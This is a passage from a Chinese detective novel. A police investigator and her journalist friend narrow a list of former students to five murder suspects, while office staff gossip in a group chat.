秦梓需此后又跑了一趟公交集团,查阅了一下05年时路过鸿鹄教育大楼和市中心医院的线路,经过一番详细的比对后,锁定在两条线路上,一个就是8路车,一个则是19路车。 这两路车都是向城西驶去,不过8路车是一条观光线路,会路过胥城绝大部分的驰名景点,终点站天平山是胥城城西的一处丘陵山脉,也是处于大平原地带的胥城为数不多的高地。19路车的终点站正好是胥城西站,这直接和抛颅案最重要的要素——火车联系上了。该线路于2013年拆除,现在已经转移到别处去了。 秦梓需记下这两条线路,现在就等花粉检测结果了,一旦交叉比对能与其中某一个比对上,那么她们就能找到凶杀第一现场,很可能埋尸的地点就在案发现场附近,前提是凶手埋尸后从未转移过尸体。 希望虽渺茫,好歹有了方向。 秦梓需的心情越发明亮,中午找了家中式快餐店随便对付了两口饭,她便驱车往东海日报数媒中心去。半途路过恒顺大楼附近,她故意放慢速度,在恒顺附近的大街小巷转了转,心中到底还是挂念跳桥女子的那个案子,想来这也有两天了,不知道案子调查进展如何。 虽然不关她的事,她还是预先侦查了一下,想着今晚有空打个电话问问情况,不行的话再给派出所一些建议。 转完后,她心里有了底,便径直抵达数媒中心楼下的室外停车场。时间是下午一点半。她没贸贸然上去,而是先坐在车里,给章弥真发了个消息。 章弥真回得很快:【我马上下来。】 秦梓需等了3分钟,就见章弥真从大楼出来,四处张望,寻觅秦梓需的踪影。 秦梓需下车,向她招了招手,跑了过去。章弥真望着她,笑道: “你怎么开了这么一辆老气横秋的车啊?” “这不是市局给我的车嘛。”秦梓需道。 “我还是喜欢你开红色的坦克,够骚包。”章弥真拍了一下已经走到近前的秦梓需的肩膀,笑道。 秦梓需翻了个白眼。 二人并肩进入数媒中心,章弥真用她的自己的工作证带着秦梓需一路向内,畅行无阻。秦梓需习惯性地观察周遭,确认应急通道位置。 这还是她头一回进入大媒体的内部,感觉数媒中心内的景象其实和一般公司差别也不大。 “诶,待会儿你要表现得神秘点、低调点,别动不动掏出你的警官证吓唬人,知道吗?”章弥真叮嘱秦梓需。 秦梓需无语了片刻,道:“我什么时候动不动掏出警官证吓人了?” “还说你没有,打我俩重逢以来,你说说看,哪次我在的时候你没掏过警官证。” “我那是要办案,为了让别人配合我,这不是很自然的事嘛。” “我知道,我的意思是……现在你是我保密项目的项目组长,你不是警察。一会儿见了我们组里的人,你千万别把公安之类的词汇挂嘴上,知道吗?” “行,我知道了。”秦梓需无奈,怎么还需要她来提醒自己注意保密,简直倒反天罡。 二人来到章弥真工作室门口,章弥真指了指小会议室道:“你先到那里面等我。” “哦。”秦梓需穿过大办公室,向小会议室行去。她这一进来,立时吸引了所有人的注意力。她十分淡定,旁若无人地路过,一头钻进了小会议室。 秦梓需故意挑了一个能望见外面大办公室的角落坐下,刚落座,目光就和最靠近会议室门口那个格子间的年轻女孩的目光对上了。秦梓需微微一笑,那女孩则惊了一跳,立刻收回视线,把头埋进隔板后。 【要死了,我刚才和她对上眼了。】孙影拼命打字,发在小群里。 【谁啊到底?】大鹏好奇问。 【看气质,在真老板面前未落下风,好像是个大佬。】刘为朗道。 【废话,真老板都亲自去接的人,当然是大佬啊。肯定是那个保密项目的负责人吧。】孙影吐槽道。 【咿呀,好帅一个女人,气质很儒雅。?】朱瑛发了个爱心。 【球姐你又直女装姬。】大鹏龇牙咧嘴。 【什么话!我那是欣赏好看的人,不分性别。】朱瑛反驳道。 此时章弥真抱着一摞文件从大办公室路过,所有人不约而同切掉小群窗口,假装自己很忙。 待章弥真进了办公室,带上了门。众人才又聊开了: 【我是不是腐眼看人姬,我觉得真老板和那大佬很配呀。】大鹏道。 【你这个百合控能不能收敛点!】孙影道,【真老板是独身主义者,不爱男也不爱女。】 【你又知道了?怕不是你背着我们偷偷勾引真老板,想傍上富婆不再努力,是吧。】刘为朗起哄道。 【我是真老板的迷妹,纯洁的迷妹关系!我才没有那种卑鄙想法!】孙影红温了,气得在小群里狂发表情包。 【你们安静点,打字声太大了,我还想听她们聊啥呢。】朱瑛制止这帮疯子。 【就是,你们吵死了。】一直不发话的吴岚冷不丁冒出这么一句话,众人差点笑死在办公桌前。 原来连吴妈都在八卦。 此时的小会议室里十分安静,秦梓需正蹙着眉头看章弥真递给她的一份名单。这是章弥真和她手下团队耗费了一个上午,一个一个打电话整理出的名单。 “我只能说我尽力了,当年那届高三生上过鸿鹄教育的我尽力都搞来了,这些人分布在附近的几所高中里,一共189人。” 秦梓需道:“数量上大差不差,鸿鹄教育每一届收的学生大概都是这个数,再多他们也顾不过来了。可以,你这个名单已经很全面了。” 章弥真笑了:“那是,我们工作室的人还是很厉害的。”她本来还想让秦梓需来帮忙,没想到赶在秦梓需来之前就搞定了,她的工作室成员确实能力在线,效率一流。 她随即指着名单解释道:“这后面打了三角符号的,都是胥中毕业的人员。我看了一下,一共有109人,还挺多的。你还记得柳大嘴吗?她立了大功,这份名单就是她搞来的,省了我们不少功夫。” “柳大嘴?是柳鸣吗?你们班的那个宣传委员?”秦梓需回忆道。 “对,就是她!她现在在教育局工作呢,咱们班上几次同学聚会都是她组织的,她把每个人的情况都摸得一清二楚。” “呵,还真有这样的人啊。”秦梓需笑了。 “是啊,特别能钻营的一个人,打小就知道要经营人脉,在这方面她可比我厉害多了。”章弥真撇嘴道。 秦梓需拉回话题:“好,咱们再进一步缩小范围。凶手的画像:身高175以上,男性,初中上的胥中,家中亲属有医药背景。符合这四个条件,应该能再筛掉绝大多数的人。” “你确定凶手就在这名单里吗?” “不能确定,但可能性非常大。”秦梓需道。 “初中一定要限制在胥中吗?会不会是别的学校的学生?”章弥真其实心理上还是不大能够接受自己当年的同学居然会是杀人凶手这件事。 秦梓需安慰道:“陈老师从没兼职过补习班老师,很难接触到外校学生,所以我认为还是胥中学生的可能性最大。别怕,咱们现在就当是在做实验,不一定就是对的,别有负担。” “好。我来看看。” 二人凑到一起,先将她们熟悉情况的人员过了一遍,还有一些不熟悉的人,诸如不了解身高,不了解家庭背景的,她们又再一次通过调取初三体检记录,比对公安系统进行确认。 时间在忙碌中飞速流逝,五个人从这份名单中被慢慢筛选了出来。分别是: 1、李威,身高178cm,初中:胥中4班,高中:六中8班。大学:东海师范大学历史学系。学历:博士,职业:留本校任教,现职称为讲师。其母为护士。 2、王志刚,身高182cm,初中:胥中6班,高中:二十四中5班。大学:胥城工业大学土木工程系。学历:本科。职业:某建设局工程师。其父母都是医生。 3、张建民,身高176cm,初中:胥中3班,高中:六中2班。大学:东海外国语大学日语系。学历:经济学硕士,留日3年。职业:回国进入某家日企工作,现居上海。其母是医生。 4、魏嘉康,身高179cm,初中:胥中4班,高中:胥高4班。大学:东海大学计算机 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秦梓需道:“你有没有觉得这5个人的家境都不错,且后来发展得也挺好?” “是啊,这有什么问题吗?毕竟胥中算是胥城最好的初中了,一定程度上,能上胥中的孩子,未来只要不出岔子,前途肯定是比较好的,这不奇怪。”章弥真不解道。 秦梓需摇头:“不,没有无缘无故杀人的人,一个15岁、家境优渥、家庭环境和谐的孩子在毫无征兆的情况下突然对自己的老师迸发邪恶的杀人念头,并且付诸实践,这概率几乎可以为0。我一向不把这种极低概率事件纳入讨论范围。 “在犯罪心理学里,我们极为重视研究罪犯童年时所受到的各种影响。这个罪犯,如此高智商且心狠手辣,他的童年一定经历了某个事件,扭曲了他对这个世界的看法。他的成长环境必定压抑,让他养成了隐忍又伺机而动的性格,他喜好独处,喜好动脑,享受以智慧碾压他人的快感,内心自负至极。” 章弥真沉吟片刻,指着名单道:“这里面有两个都是你们四班的,你对这两人有什么了解?” 秦梓需摇头道:“据我所知,这两个人都不符合我的画像。李威非常阳光单纯,甚至上学那会儿可以说是傻头傻脑,没心没肺。魏嘉康虽然性格比较内敛,但我见过他和父母相处,很和谐,他是个…很有松弛感的男孩,不急不躁的。” “有没有可能是知人知面不知心?” “不好说,但从长期的行为观察来看,我认为我没有看错。”秦梓需道。 章弥真无奈道:“我们目前能查到的,就只有这些表面的东西,除非去直接接触这5个人,否则我们很难深挖他们家庭内部到底有没有什么问题。” “直接接触是不行的,打草惊蛇。对了,你们上午打电话时,你有没有直接和这五个人通话过?”秦梓需问。 “我没有打电话,我怕被人认出声音。所以让外头的团队帮我打的。”章弥真道。 秦梓需点头,神情严肃:“那就好,我很担心惊了兔子。我们现在手头上掌握的证据还是太少了,连一项确凿的证据都不存在,更别说形成证据链了。一旦惊了兔子,要想再抓住他,那真是难如登天。” “那张列车名单里,能不能找到这5个人呢?如果找到了,岂不是就合上了其中一环?”章弥真道。 秦梓需叹息:“不行,座位号和人对不上呀。而且就算现在去查行踪轨迹也已经太迟了,已经15年过去了。” “唉!那怎么办?就干耗着等实验室结果吗?”章弥真捋了一把自己的长发,显得有些焦躁。 秦梓需看了下表,吓了一跳:“呀,怎么都快六点了。” 章弥真这才注意到已经到了下班时间了,不过外间依旧很忙碌,传媒很少能准点下班。 “我本来还想带你出去转转的,但现在有点晚了,明天吧。”秦梓需道。 她随即双手交叠放在桌面上,看着章弥真,神情显出一丝神秘的意味:“我这里有一道思考题,咱们一起动脑筋。如果你是凶手,你会用怎样的借口骗一个心怀警惕的中年女人跟着你一起上公交车,去往一个陌生的地方?”